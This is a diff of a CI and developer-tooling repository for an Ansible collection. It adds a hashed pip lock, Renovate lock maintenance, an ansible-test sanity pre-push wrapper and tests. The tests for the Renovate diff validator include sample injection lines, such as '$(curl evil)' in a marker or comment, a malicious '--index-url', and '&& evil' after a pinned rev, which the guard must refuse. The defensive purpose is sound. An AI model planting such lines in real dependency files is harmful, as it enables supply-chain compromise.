# `gitleaks` and `actionlint` that the hooks call. Without them the ruff and shellcheck
# environments fit: with them the layer was about 103 MB compressed and the push of
# ci 0.2.16 got a 413. The hooks below run on a staged sample before and after the
# deletion: a cache that is incomplete (a missing environment would be rebuilt, which
# needs the network) or no longer works fails the image build, not the jobs.
#
# The last lines print the compressed size of each directory a later COPY turns into a
# layer, which is what the 100 MB (95 MiB) limit applies to. These gzip -6 figures run
# about 9% below the sizes the registry stores, and every new hook environment adds
# 15 to 25 MB to /opt/pre-commit, so read them before adding one.
RUN set -eu; \
git init -q /tmp/hooks; \
cp .pre-commit-config.yaml /tmp/hooks/; \
@@ -101,10 +111,14 @@ RUN set -eu; \
smoke() { for h in yamllint gitleaks actionlint ruff-check ruff-format shellcheck; do /opt/venv/bin/pre-commit run "$h" --all-files; done; }; \
smoke; \
rm -rf /opt/pre-commit/repo*/golangenv-*/.go /root/.cache/go-build; \
find /opt/pre-commit/repo*/golangenv-*/bin -mindepth 1 -maxdepth 1 -type f \
! -name gitleaks ! -name actionlint -delete; \
smoke; \
rm -rf /tmp/hooks; \
find /opt/pre-commit -maxdepth 1 -mindepth 1 -exec du -sh {} + | sort -h; \
du -sh /opt/venv /opt/python /opt/pre-commit
gz() { tar -C "$(dirname "$1")" -cf - "$(basename "$1")" | gzip -6 | wc -c \
| awk -v d="$1" '{printf "%7.1f MB compressed %s\n", $1 / 1048576, d}'; }; \
for d in /opt/venv /opt/python /opt/collections /opt/pre-commit; do gz "$d"; done
# ansible-test builds one virtualenv per sanity test under ~/.ansible/test/venv, keyed
# by the hash of the test's requirements (so by the ansible-core pin), and reuses it on
@@ -151,14 +165,14 @@ COPY --from=build /opt/pre-commit /opt/pre-commit
COPY --from=build /root/.ansible/test /root/.ansible/test
# The target interpreters ansible-test looks for on PATH, and the pin record.
COPY --from=build /src/requirements-dev.txt /src/requirements.yml /src/.pre-commit-config.yaml /opt/ci-pins/
COPY --from=build /src/requirements-dev.txt /src/requirements-dev.lock /src/requirements.yml /src/.pre-commit-config.yaml /opt/ci-pins/
RUN set -eu; \
for v in 3.11 3.13; do \
ln -s "$(echo /opt/python/cpython-${v}.*/bin/python${v})" "/usr/local/bin/python${v}"; \
"python${v}" --version; \
done; \
cd /opt/ci-pins; \
sha256sum requirements-dev.txt requirements.yml .pre-commit-config.yaml > /opt/ci-pins.sha256; \
sha256sum requirements-dev.txt requirements-dev.lock requirements.yml .pre-commit-config.yaml > /opt/ci-pins.sha256; \
ansible --version | head -n1; \
ansible-galaxy collection list; \
pre-commit --version; \
+17 -7
View File
@@ -10,7 +10,7 @@
"semanticCommitType": "chore",
"semanticCommitScope": "deps",
"enabledManagers": [
"pip_requirements",
"pip-compile",
"ansible-galaxy",
"pre-commit",
"github-actions",
@@ -22,17 +22,17 @@
"minimumReleaseAge": "3 days",
"minimumReleaseAgeBehaviour": "timestamp-optional",
"timezone": "UTC",
"pip_requirements": {
"managerFilePatterns": [
"/^requirements-dev\\.txt$/"
]
},
"ansible-galaxy": {
"managerFilePatterns": [
"/^requirements\\.yml$/",
"/^extensions/molecule/requirements\\.yml$/"
]
},
"pip-compile": {
"managerFilePatterns": [
"/^requirements-dev\\.lock$/"
]
},
"pre-commit": {
"enabled": true,
"managerFilePatterns": [
@@ -180,5 +180,15 @@
],
"automerge": true
}
]
],
"lockFileMaintenance": {
"enabled": true,
"schedule": [
"before 6am on monday"
],
"automerge": false,
"labels": [
"lock-file-maintenance"
]
}
}
File diff suppressed because it is too large. Load diff
+5 -1
View File
@@ -1,5 +1,9 @@
# Pinned tooling for lint and build, used by CI (.gitea/workflows) and locally:
# python3 -m venv .venv && . .venv/bin/activate && pip install -r requirements-dev.txt
# python3 -m venv .venv && . .venv/bin/activate && pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt
# This file holds the direct pins; requirements-dev.lock is their hashed lock (every transitive
# package too, with the sha256 of each release file) and is what gets installed; pip refuses an
# install in which the two files disagree. Renovate bumps a pin here and regenerates the lock
# (pip-compile manager); by hand, run scripts/lock-requirements.sh and commit both files (#113).
# ansible-core and ansible-lint started equal to the environment repo's runner image
# (hosts/group_vars/all/ci_python_tools.yml there) and are no longer kept equal automatically.
# Renovate (renovate.json) bumps these pins; a bump rebuilds the ci image (images/ci) and
+22 -1
View File
@@ -7,6 +7,12 @@
# ones CI tests against (#118, #80). So when the variable is unset, this script uses the collections
# scripts/dev-setup.sh installed into .ansible/collections of this clone, and fails with the fix
# when they are missing. That covers `git commit` and a bare `pre-commit run` alike.
#
# The Collection's own role names (mortis.kamino.<role>, which the molecule scenarios' converge
# plays use) only resolve from an <namespace>/<name> directory under an ansible_collections root,
# and a checkout is not one. So the checkout is linked into a temporary root, put first on the
# collections path, and ansible-lint reads the checkout itself through it (#118 step 5). The link
# is removed on exit.
set -euo pipefail
root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
@@ -21,4 +27,19 @@ if [ -z "${ANSIBLE_COLLECTIONS_PATH:-}" ]; then
export ANSIBLE_COLLECTIONS_PATH="$root/.ansible/collections"
fi
exec ansible-lint --offline --nocolor
# The Collection's own name, from galaxy.yml, so a rename needs no edit here.
namespace="$(sed -n 's/^namespace: *//p' galaxy.yml)"
name="$(sed -n 's/^name: *//p' galaxy.yml)"
if [ -z "$namespace" ] || [ -z "$name" ]; then
echo "error: no namespace and name in $root/galaxy.yml" >&2
exit 1
fi
link_root="$(mktemp -d)"
trap 'rm -rf "$link_root"' EXIT
mkdir -p "$link_root/ansible_collections/$namespace"
ln -s "$root" "$link_root/ansible_collections/$namespace/$name"
export ANSIBLE_COLLECTIONS_PATH="$link_root:$ANSIBLE_COLLECTIONS_PATH"
# Not exec: the trap above has to run when ansible-lint ends.
ansible-lint --offline --nocolor
+60
View File
@@ -0,0 +1,60 @@
#!/usr/bin/env bash
# The ansible-test sanity pre-push hook: the Build job's sanity run, on the commit being pushed.
#
# ansible-test only runs a collection from an ansible_collections/<namespace>/<name> directory,
# and a checkout is not one. So this copies HEAD (git archive: the committed files, no untracked
# or unstaged changes, no .git) into a temporary one, as the Build job does with a git worktree,
# and applies the same ignore-file step. ruff and the other hooks cannot stand in for it: the
# sanity tests carry their own pylint, pep8 and shellcheck settings (ansible-test also scans
# the Python under tests/).
#
# Extra arguments go to ansible-test, e.g. `scripts/ansible-test-sanity.sh --test pylint`.
# The first run builds the sanity virtualenvs (minutes, and it needs the network); later ones
# reuse them. HEAD is what runs, so a push of another branch than the checked-out one checks
# the wrong commit.
set -euo pipefail
root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$root"
for tool in ansible ansible-test; do
if ! command -v "$tool" >/dev/null 2>&1; then
echo "error: $tool is not on PATH; run scripts/dev-setup.sh and use its virtualenv (.venv/bin)" >&2
exit 1
fi
done
# The Collection's own name, from galaxy.yml, so a rename needs no edit here.
namespace="$(sed -n 's/^namespace: *//p' galaxy.yml)"
name="$(sed -n 's/^name: *//p' galaxy.yml)"
if [ -z "$namespace" ] || [ -z "$name" ]; then
echo "error: no namespace and name in $root/galaxy.yml" >&2
exit 1
fi
core="$(ansible --version | sed -n 's/^ansible \[core \([0-9][0-9]*\.[0-9][0-9]*\).*/\1/p' | head -n 1)"
if [ -z "$core" ]; then
echo "error: cannot read the ansible-core version from 'ansible --version'" >&2
exit 1
fi
work="$(mktemp -d)"
trap 'rm -rf "$work"' EXIT
dest="$work/ansible_collections/$namespace/$name"
mkdir -p "$dest"
git archive HEAD | tar -x -C "$dest"
cd "$dest"
# ansible-test reads tests/sanity/ignore-<core MAJOR.MINOR>.txt and has no wildcard. The committed
# ignore-common.txt applies to every core version: it is copied to the file name of the installed
# core here, in this copy only (plus the lines of a committed ignore-<MAJOR.MINOR>.txt, for a
# finding of one version only). The Build job does the same.
ignore="tests/sanity/ignore-${core}.txt"
{
cat tests/sanity/ignore-common.txt
if [ -f "$ignore" ]; then cat "$ignore"; fi
} >"$work/ignore.new"
mv "$work/ignore.new" "$ignore"
# Not exec: the trap above has to run when ansible-test ends.
ansible-test sanity --requirements "$@"
+42 -2
View File
@@ -7,9 +7,13 @@
When <head-ref> starts with `renovate/`, the diff of <base-ref>...HEAD may only touch:
* requirements-dev.txt: pinned `name==version` lines, the same packages before and after;
* requirements-dev.lock (pip-compile --generate-hashes output): `name==version` entries,
`--hash=sha256:<64 hex>` lines and plain `# via` or prose comments, nothing else; packages may
be added or removed (a transitive dependency), but the `# pip-compile ...` command in the
header, which Renovate runs again, must stay as it is;
* requirements.yml and extensions/molecule/requirements.yml: `version:` lines (the collection
names, and every other line, stay);
* .pre-commit-config.yaml: `rev:` lines;
* .pre-commit-config.yaml: `rev:` lines (a tag, or a commit SHA with its `# frozen: <tag>` comment);
* images/<name>/Dockerfile: the tag and digest of FROM lines (the image name stays), and
the `uv==<version>` token of a line that holds one;
* .gitea/workflows/image.yml: the matrix `version:` lines, and the tag and digest of the
@@ -49,7 +53,9 @@ PREFIX = "renovate/"
TAG = r"[A-Za-z0-9._-]+"
PIN = re.compile(rf"(git\.rkdr\.net/mortis/[a-z0-9._-]+):{TAG}@sha256:[0-9a-f]{{64}}")
REQ_LINE = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)==[0-9][0-9A-Za-z.+!_-]*$")
REV_LINE = re.compile(r"^\s*rev:\s*\S+\s*$")
# A hook `rev:` is a tag or a commit SHA; a SHA carries its release in a `# frozen: <tag>` comment.
# Nothing else may trail it, so the comment cannot hide a second instruction.
REV_LINE = re.compile(r"^\s*rev:\s*\S+(?:\s+#\s*frozen:\s*\S+)?\s*$")
VERSION_LINE = re.compile(
r"""^\s*(?:-\s*)?version:\s*["']?(?P<v>[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?)["']?\s*(?:#.*)?$"""
)
@@ -100,6 +106,38 @@ def reduce_version(line):
return "version" if VERSION_LINE.match(line) else None
# requirements-dev.lock: an entry (with an optional environment marker), a hash, or a comment.
# The marker and the prose comment use a small character set: no backslash, quote of a shell, `$` or `--`.
LOCK_ENTRY = re.compile(
r"^[A-Za-z0-9][A-Za-z0-9._-]*==[0-9][0-9A-Za-z.+!_-]*"
r"(?:\s*;\s*[A-Za-z0-9_.\"' =<>!()~,-]+?)?\s*\\?$"
)
LOCK_HASH = re.compile(r"^\s+--hash=sha256:[0-9a-f]{64}(?:\s*\\)?$")
LOCK_COMMAND = re.compile(r"^#\s+pip-compile\s.*$")
LOCK_COMMENT = re.compile(
r"^\s*(?:#(?:\s[A-Za-z0-9 ._,:()/'-]*)?)?$"
) # a blank line is allowed too
def lock_problem(removed, added):
"""None when every changed line of requirements-dev.lock is an entry, a hash or a plain comment and
the `# pip-compile ...` command line is the same on both sides."""
for line in removed + added:
if LOCK_COMMAND.match(line):
continue
if not (
LOCK_ENTRY.match(line) or LOCK_HASH.match(line) or LOCK_COMMENT.match(line)
):
return (
"changes a line that is not an entry, a sha256 hash or a plain comment"
)
old = sorted(line for line in removed if LOCK_COMMAND.match(line))
new = sorted(line for line in added if LOCK_COMMAND.match(line))
if old != new:
return "changes the pip-compile command of the header"
return None
def reduce_rev(line):
return "rev" if REV_LINE.match(line) else None
@@ -134,6 +172,8 @@ def file_problem(path, removed, added):
reduce_requirement,
"a pinned `name==version` line of the same package",
)
if path == "requirements-dev.lock":
return lock_problem(removed, added)
if path in COLLECTION_PINS:
return same_shape(removed, added, reduce_version, "a `version:` line")
if path == ".pre-commit-config.yaml":
+4 -4
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env bash
# Sets up a local checkout for development: a virtualenv with the pinned tools
# (requirements-dev.txt, the versions CI runs), the pinned collections the roles call
# (requirements-dev.lock, the hashed lock of requirements-dev.txt: the versions CI runs), the pinned collections the roles call
# (requirements.yml) and git hooks that find the tools.
#
# scripts/dev-setup.sh # KAMINO_PYTHON=python3.13 scripts/dev-setup.sh to pick one
@@ -21,7 +21,7 @@
# of requirements.yml into .ansible/collections of this clone: scripts/ansible-lint.sh (the
# ansible-lint hook) resolves modules from there, so local lint sees the collection versions CI
# does (the ci image bakes requirements.yml) and not the control host's ~/.ansible. It is
# idempotent; run it again after changing requirements-dev.txt, requirements.yml or the hook types.
# idempotent; run it again after changing requirements-dev.txt or its lock, requirements.yml or the hook types.
set -euo pipefail
# ansible-core 2.22 (requirements-dev.txt) needs Python 3.13+. Renovate raises that pin, so
@@ -120,7 +120,7 @@ if [ -x .venv/bin/python ] && ! .venv/bin/python -c "$py_ok" 2>/dev/null; then
rm -rf "$root/.venv"
fi
[ -x .venv/bin/python ] || "$python" -m venv .venv
.venv/bin/pip install --quiet --disable-pip-version-check -r requirements-dev.txt
.venv/bin/pip install --quiet --disable-pip-version-check --require-hashes -r requirements-dev.lock -r requirements-dev.txt
.venv/bin/pre-commit install --install-hooks
# The collections of requirements.yml, exactly as pinned, into this clone (.ansible/ is ignored by
@@ -133,7 +133,7 @@ ANSIBLE_COLLECTIONS_PATH="$collections" .venv/bin/ansible-galaxy collection inst
marker="# kamino-dev-setup: virtualenv first on PATH"
# default_install_hook_types in .pre-commit-config.yaml names these; keep in step.
for hook in pre-commit commit-msg; do
for hook in pre-commit commit-msg pre-push; do
file="$(git -C "$root" rev-parse --path-format=absolute --git-path "hooks/$hook")"
if [ ! -f "$file" ]; then
echo "error: $file was not installed by 'pre-commit install'; check default_install_hook_types in .pre-commit-config.yaml." >&2
+49
View File
@@ -0,0 +1,49 @@
#!/usr/bin/env bash
# SPDX-FileCopyrightText: Defame1297 and contributors
# SPDX-License-Identifier: GPL-3.0-or-later
#
# Regenerate requirements-dev.lock, the hashed lock of requirements-dev.txt (#113).
#
# scripts/lock-requirements.sh re-resolve, keeping every locked version that still fits
# scripts/lock-requirements.sh --upgrade move every package, transitive ones included, to its newest release
#
# Needs the network (PyPI) and Python 3.13+ (ansible-core 2.22; KAMINO_PYTHON overrides python3).
# pip and pip-tools are installed, at the pinned versions below, into a throwaway virtualenv, never
# into the project's .venv. pip is pinned too: pip-tools breaks on newer pip releases (7.5.2 on pip 26). Commit
# the lock with requirements-dev.txt; pip refuses an install of the two when they disagree
# (`pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt`). An image input
# changed, so the image version needs its bump as usual (python3 scripts/bump_image_versions.py).
# The pins are not hash-checked themselves: they come from PyPI over TLS, like the pip that
# created the throwaway venv.
#
# Renovate runs the same command from the header of the lock (pip-compile manager, renovate.json),
# so keep the header: do not add --no-header, and keep the flags below in step with renovate.json.
set -euo pipefail
pip_version="25.2"
pip_tools_version="7.6.2"
upgrade=()
case "${1:-}" in
"") ;;
--upgrade) upgrade=(--upgrade) ;;
*) echo "usage: lock-requirements.sh [--upgrade]" >&2; exit 2 ;;
esac
python="${KAMINO_PYTHON:-python3}"
if ! "$python" -c 'import sys; sys.exit(0 if sys.version_info >= (3, 13) else 1)' 2>/dev/null; then
echo "error: $python is missing or older than 3.13; set KAMINO_PYTHON=/path/to/python3.13" >&2
exit 1
fi
root="$(cd "$(dirname "$(readlink -f "${BASH_SOURCE[0]}")")/.." && pwd)"
tmp="$(mktemp -d)"
trap 'rm -rf "$tmp"' EXIT
"$python" -m venv "$tmp/venv"
"$tmp/venv/bin/pip" install --quiet --disable-pip-version-check "pip==${pip_version}" "pip-tools==${pip_tools_version}"
cd "$root"
# --allow-unsafe: setuptools is a dependency of a tool here, and pip refuses an unpinned
# requirement in a file that carries hashes.
"$tmp/venv/bin/pip-compile" --quiet --generate-hashes --strip-extras --allow-unsafe --newline lf \
"${upgrade[@]}" --output-file requirements-dev.lock requirements-dev.txt
echo "requirements-dev.lock regenerated; commit it with requirements-dev.txt."
+2
View File
@@ -66,6 +66,7 @@ IGNORED = (
".ansible-lint",
".pre-commit-config.yaml",
"requirements-dev.txt",
"requirements-dev.lock",
"ruff.toml",
"apm.yml",
"apm.lock.yaml",
@@ -82,6 +83,7 @@ IGNORED = (
"scripts/check_image_versions.py",
"scripts/check_tarball.py",
"scripts/ansible-lint.sh",
"scripts/ansible-test-sanity.sh",
"scripts/dev-setup.sh",
"scripts/reuse_lint.py",
)
+77 -8
View File
@@ -14,15 +14,34 @@ import unittest
SCRIPT = pathlib.Path(__file__).resolve().parents[2] / "scripts" / "ansible-lint.sh"
# Prints what the wrapper hands to ansible-lint: its arguments, directory and the two variables.
# Prints what the wrapper hands to ansible-lint: its arguments, directory, the two variables and
# the temporary collections root (the first element of the path) with every link inside it.
STUB = """#!/bin/sh
first="${ANSIBLE_COLLECTIONS_PATH%%:*}"
echo "args=$*"
echo "cwd=$(pwd -P)"
echo "home=${ANSIBLE_HOME-unset}"
echo "path=${ANSIBLE_COLLECTIONS_PATH-unset}"
echo "first=$first"
for link in "$first"/ansible_collections/*/*; do
echo "link=${link#"$first"/ansible_collections/} -> $(readlink "$link")"
done
exit "${STUB_EXIT:-0}"
"""
def parsed(stdout):
"""{key: value} of the stub's output; `link` may repeat, so it is collected in a list."""
out = {"link": []}
for line in stdout.splitlines():
parts = line.partition("=")
if parts[0] == "link":
out["link"].append(parts[2])
else:
out[parts[0]] = parts[2]
return out
@unittest.skipUnless(shutil.which("bash"), "bash is required")
class AnsibleLintWrapperTest(unittest.TestCase):
def setUp(self):
@@ -31,12 +50,18 @@ class AnsibleLintWrapperTest(unittest.TestCase):
self.repo = self.tmp / "repo"
(self.repo / "scripts").mkdir(parents=True)
shutil.copy(SCRIPT, self.repo / "scripts" / "ansible-lint.sh")
self.galaxy("mortis", "kamino")
self.bin = self.tmp / "bin"
self.bin.mkdir()
stub = self.bin / "ansible-lint"
stub.write_text(STUB)
stub.chmod(0o755)
def galaxy(self, namespace, name):
(self.repo / "galaxy.yml").write_text(
f"---\nnamespace: {namespace}\nname: {name}\nversion: 1.0.0\n"
)
def run_wrapper(self, cwd=None, **env):
base = {"PATH": f"{self.bin}:{os.environ['PATH']}", "HOME": str(self.tmp)}
return subprocess.run(
@@ -57,16 +82,60 @@ class AnsibleLintWrapperTest(unittest.TestCase):
self.install_collections()
result = self.run_wrapper()
self.assertEqual(result.returncode, 0, result.stderr)
self.assertIn("args=--offline --nocolor", result.stdout)
self.assertIn(f"home={self.repo / '.ansible'}", result.stdout)
self.assertIn(f"path={self.repo / '.ansible' / 'collections'}", result.stdout)
seen = parsed(result.stdout)
self.assertEqual(seen["args"], "--offline --nocolor")
self.assertEqual(seen["home"], str(self.repo / ".ansible"))
# The temporary link root comes first, then the clone's pinned collections.
self.assertEqual(
seen["path"], f"{seen['first']}:{self.repo / '.ansible' / 'collections'}"
)
def test_leaves_a_preset_collections_path_alone(self):
def test_leaves_a_preset_collections_path_after_the_link_root(self):
# CI sets it (the ci image bakes the collections into /opt/collections), even with none in the clone.
result = self.run_wrapper(ANSIBLE_COLLECTIONS_PATH="/opt/collections")
self.assertEqual(result.returncode, 0, result.stderr)
self.assertIn("path=/opt/collections", result.stdout)
self.assertIn("home=unset", result.stdout)
seen = parsed(result.stdout)
self.assertEqual(seen["path"], f"{seen['first']}:/opt/collections")
self.assertEqual(seen["home"], "unset")
def test_links_the_checkout_as_the_collection(self):
result = self.run_wrapper(ANSIBLE_COLLECTIONS_PATH="/opt/collections")
self.assertEqual(result.returncode, 0, result.stderr)
self.assertEqual(
parsed(result.stdout)["link"], [f"mortis/kamino -> {self.repo}"]
)
def test_takes_the_collection_name_from_galaxy_yml(self):
self.galaxy("acme", "widgets")
result = self.run_wrapper(ANSIBLE_COLLECTIONS_PATH="/opt/collections")
self.assertEqual(result.returncode, 0, result.stderr)
self.assertEqual(
parsed(result.stdout)["link"], [f"acme/widgets -> {self.repo}"]
)
def test_fails_without_a_namespace_and_name(self):
(self.repo / "galaxy.yml").write_text("---\nversion: 1.0.0\n")
result = self.run_wrapper(ANSIBLE_COLLECTIONS_PATH="/opt/collections")
self.assertNotEqual(result.returncode, 0)
self.assertIn("galaxy.yml", result.stderr)
self.assertNotIn("args=", result.stdout)
def test_removes_the_link_root_afterwards(self):
result = self.run_wrapper(ANSIBLE_COLLECTIONS_PATH="/opt/collections")
first = pathlib.Path(parsed(result.stdout)["first"])
self.assertNotEqual(first, pathlib.Path("/opt/collections"))
self.assertFalse(first.exists())
# The checkout itself is untouched: only the link went.
self.assertTrue((self.repo / "galaxy.yml").is_file())
def test_removes_the_link_root_and_keeps_the_exit_code_when_ansible_lint_fails(
self,
):
result = self.run_wrapper(
ANSIBLE_COLLECTIONS_PATH="/opt/collections", STUB_EXIT="3"
)
self.assertEqual(result.returncode, 3)
self.assertFalse(pathlib.Path(parsed(result.stdout)["first"]).exists())
def test_fails_with_the_fix_when_the_collections_are_not_installed(self):
result = self.run_wrapper()
@@ -80,7 +149,7 @@ class AnsibleLintWrapperTest(unittest.TestCase):
elsewhere.mkdir()
result = self.run_wrapper(cwd=elsewhere)
self.assertEqual(result.returncode, 0, result.stderr)
self.assertIn(f"cwd={self.repo}", result.stdout)
self.assertEqual(parsed(result.stdout)["cwd"], str(self.repo))
if __name__ == "__main__":
@@ -0,0 +1,218 @@
# SPDX-FileCopyrightText: Defame1297 and contributors
# SPDX-License-Identifier: GPL-3.0-or-later
"""Tests for scripts/ansible-test-sanity.sh against a throwaway git repository and stub tools.
Run with: python3 -m unittest discover -s tests/scripts
"""
import os
import pathlib
import shutil
import subprocess
import tempfile
import unittest
SCRIPT = (
pathlib.Path(__file__).resolve().parents[2] / "scripts" / "ansible-test-sanity.sh"
)
ANSIBLE_STUB = """#!/bin/sh
echo "ansible [core ${STUB_CORE:-2.22.0}]"
echo " config file = None"
"""
# Prints what the wrapper hands to ansible-test: arguments, the directory it runs in, the ignore
# file it will read, and the files of the copy it runs on.
ANSIBLE_TEST_STUB = """#!/bin/sh
echo "args=$*"
echo "cwd=$(pwd -P)"
echo "files=$(find . -type f | sort | tr '\\n' ' ')"
echo "plugins=$(cat plugins.txt 2>/dev/null)"
for f in tests/sanity/ignore-*.txt; do
echo "ignore:$f=$(tr '\\n' '|' < "$f")"
done
exit "${STUB_EXIT:-0}"
"""
def parsed(stdout):
"""{key: value} of the stub's output lines."""
out = {}
for line in stdout.splitlines():
parts = line.partition("=")
out[parts[0]] = parts[2]
return out
@unittest.skipUnless(
shutil.which("bash") and shutil.which("git"), "bash and git are required"
)
class AnsibleTestSanityWrapperTest(unittest.TestCase):
def setUp(self):
self.tmp = pathlib.Path(tempfile.mkdtemp(prefix="kamino-sanitywrap-")).resolve()
self.addCleanup(shutil.rmtree, self.tmp, True)
self.repo = self.tmp / "repo"
(self.repo / "scripts").mkdir(parents=True)
(self.repo / "tests" / "sanity").mkdir(parents=True)
shutil.copy(SCRIPT, self.repo / "scripts" / "ansible-test-sanity.sh")
(self.repo / "galaxy.yml").write_text(
"---\nnamespace: mortis\nname: kamino\nversion: 1.0.0\n"
)
(self.repo / "tests" / "sanity" / "ignore-common.txt").write_text(
"COPYING no-smart-quotes\n"
)
(self.repo / "plugins.txt").write_text("committed\n")
self.bin = self.tmp / "bin"
self.bin.mkdir()
for name, body in (
("ansible", ANSIBLE_STUB),
("ansible-test", ANSIBLE_TEST_STUB),
):
tool = self.bin / name
tool.write_text(body)
tool.chmod(0o755)
self.env = {
"PATH": f"{self.bin}:{os.environ['PATH']}",
"HOME": str(self.tmp),
"GIT_CONFIG_GLOBAL": str(self.tmp / "gitconfig"),
"GIT_CONFIG_NOSYSTEM": "1",
}
self.git("init", "--quiet")
self.git("add", ".")
self.git(
"-c",
"user.name=t",
"-c",
"user.email=t@localhost",
"commit",
"-q",
"-m",
"x",
)
def git(self, *args):
subprocess.run(
["git", "-C", str(self.repo), *args],
env=self.env,
check=True,
capture_output=True,
)
def run_wrapper(self, *args, cwd=None, **env):
return subprocess.run(
["bash", str(self.repo / "scripts" / "ansible-test-sanity.sh"), *args],
env={**self.env, **env},
cwd=str(cwd or self.repo),
capture_output=True,
text=True,
check=False,
)
def test_runs_sanity_with_requirements_in_a_collection_directory(self):
result = self.run_wrapper()
self.assertEqual(result.returncode, 0, result.stderr)
seen = parsed(result.stdout)
self.assertEqual(seen["args"], "sanity --requirements")
self.assertTrue(
seen["cwd"].endswith("/ansible_collections/mortis/kamino"), seen["cwd"]
)
self.assertNotEqual(seen["cwd"], str(self.repo))
def test_passes_extra_arguments_to_ansible_test(self):
result = self.run_wrapper("--test", "pylint")
self.assertEqual(
parsed(result.stdout)["args"], "sanity --requirements --test pylint"
)
def test_takes_the_collection_name_from_galaxy_yml(self):
(self.repo / "galaxy.yml").write_text(
"---\nnamespace: acme\nname: widgets\nversion: 1.0.0\n"
)
self.git("add", "galaxy.yml")
self.git(
"-c",
"user.name=t",
"-c",
"user.email=t@localhost",
"commit",
"-q",
"-m",
"y",
)
seen = parsed(self.run_wrapper().stdout)
self.assertTrue(
seen["cwd"].endswith("/ansible_collections/acme/widgets"), seen["cwd"]
)
def test_checks_the_committed_files_only(self):
(self.repo / "plugins.txt").write_text("changed but not committed\n")
(self.repo / "untracked.txt").write_text("new\n")
seen = parsed(self.run_wrapper().stdout)
self.assertIn("./plugins.txt", seen["files"])
self.assertNotIn("untracked.txt", seen["files"])
self.assertNotIn(".git/", seen["files"])
# The copy holds the committed content, not the edit.
self.assertEqual(seen["plugins"], "committed")
def test_copies_the_common_ignore_file_to_the_name_of_the_core_version(self):
seen = parsed(self.run_wrapper().stdout)
self.assertEqual(
seen["ignore:tests/sanity/ignore-2.22.txt"], "COPYING no-smart-quotes|"
)
def test_appends_the_lines_of_a_committed_core_specific_ignore_file(self):
(self.repo / "tests" / "sanity" / "ignore-2.22.txt").write_text(
"plugins.txt shebang\n"
)
self.git("add", "tests")
self.git(
"-c",
"user.name=t",
"-c",
"user.email=t@localhost",
"commit",
"-q",
"-m",
"z",
)
seen = parsed(self.run_wrapper().stdout)
self.assertEqual(
seen["ignore:tests/sanity/ignore-2.22.txt"],
"COPYING no-smart-quotes|plugins.txt shebang|",
)
def test_uses_the_installed_core_version_for_the_ignore_file_name(self):
seen = parsed(self.run_wrapper(STUB_CORE="2.23.1").stdout)
self.assertIn("ignore:tests/sanity/ignore-2.23.txt", seen)
def test_keeps_the_exit_code_of_ansible_test_and_removes_the_copy(self):
result = self.run_wrapper(STUB_EXIT="4")
self.assertEqual(result.returncode, 4)
copy = pathlib.Path(parsed(result.stdout)["cwd"])
self.assertFalse(copy.exists())
def test_fails_with_the_fix_when_a_tool_is_missing(self):
(self.bin / "ansible-test").unlink()
result = self.run_wrapper(PATH=f"{self.bin}:/usr/bin:/bin")
self.assertNotEqual(result.returncode, 0)
self.assertIn("scripts/dev-setup.sh", result.stderr)
def test_fails_without_a_namespace_and_name(self):
(self.repo / "galaxy.yml").write_text("---\nversion: 1.0.0\n")
result = self.run_wrapper()
self.assertNotEqual(result.returncode, 0)
self.assertIn("galaxy.yml", result.stderr)
self.assertNotIn("args=", result.stdout)
def test_runs_from_the_repository_whatever_the_caller_directory(self):
elsewhere = self.tmp / "elsewhere"
elsewhere.mkdir()
result = self.run_wrapper(cwd=elsewhere)
self.assertEqual(result.returncode, 0, result.stderr)
self.assertIn(
"/ansible_collections/mortis/kamino", parsed(result.stdout)["cwd"]
)
if __name__ == "__main__":
unittest.main()
+59
View File
@@ -48,6 +48,50 @@ def run(cwd, *cmd):
)
H1, H2 = "a" * 64, "b" * 64
class LockRuleTest(unittest.TestCase):
def test_a_regenerated_lock_is_allowed(self):
removed = [
"reuse==6.2.0 \\",
f" --hash=sha256:{H1} \\",
" # via -r requirements-dev.txt",
]
added = [
"reuse==6.3.0 \\",
f" --hash=sha256:{H2}",
" # via -r requirements-dev.txt",
"newdep==1.0 ; python_version >= '3.13' \\",
" # via reuse",
"# This file is autogenerated by pip-compile with Python 3.14",
]
self.assertIsNone(cbd.file_problem("requirements-dev.lock", removed, added))
def test_the_header_command_may_not_change(self):
old = "# pip-compile --generate-hashes --output-file=requirements-dev.lock requirements-dev.txt"
new = old.replace("--generate-hashes", "--index-url=https://evil/simple")
self.assertIsNotNone(cbd.file_problem("requirements-dev.lock", [old], [new]))
self.assertIsNone(cbd.file_problem("requirements-dev.lock", [old], [old]))
def test_refused_lock_lines(self):
for line in (
"evil @ https://evil.example/x.tgz",
"--index-url https://evil/simple",
"-e .",
"evil>=1.0",
"evil==1.0 ; $(curl evil)",
" --hash=md5:" + "a" * 32,
" --hash=sha256:" + "a" * 63,
"# via $(curl evil)",
"# see `evil`",
):
with self.subTest(line=line):
self.assertIsNotNone(
cbd.file_problem("requirements-dev.lock", [], [line])
)
class RuleTest(unittest.TestCase):
def problem(self, path, old, new):
return cbd.file_problem(path, [old], [new])
@@ -62,6 +106,11 @@ class RuleTest(unittest.TestCase):
" version: 14.1.0",
),
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
@@ -117,6 +166,16 @@ class RuleTest(unittest.TestCase):
),
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0 && evil",
),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # note",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
+20 -3
View File
@@ -35,7 +35,11 @@ fi
exit 2
"""
PIP_STUB = "#!/bin/sh\nexit 0\n"
# Records the arguments of each call, one line per call.
PIP_STUB = """#!/bin/sh
printf '%s\\n' "$*" >> "$STUB_DIR/pip.log"
exit 0
"""
# Records the collections path and the arguments of each call, one line per call.
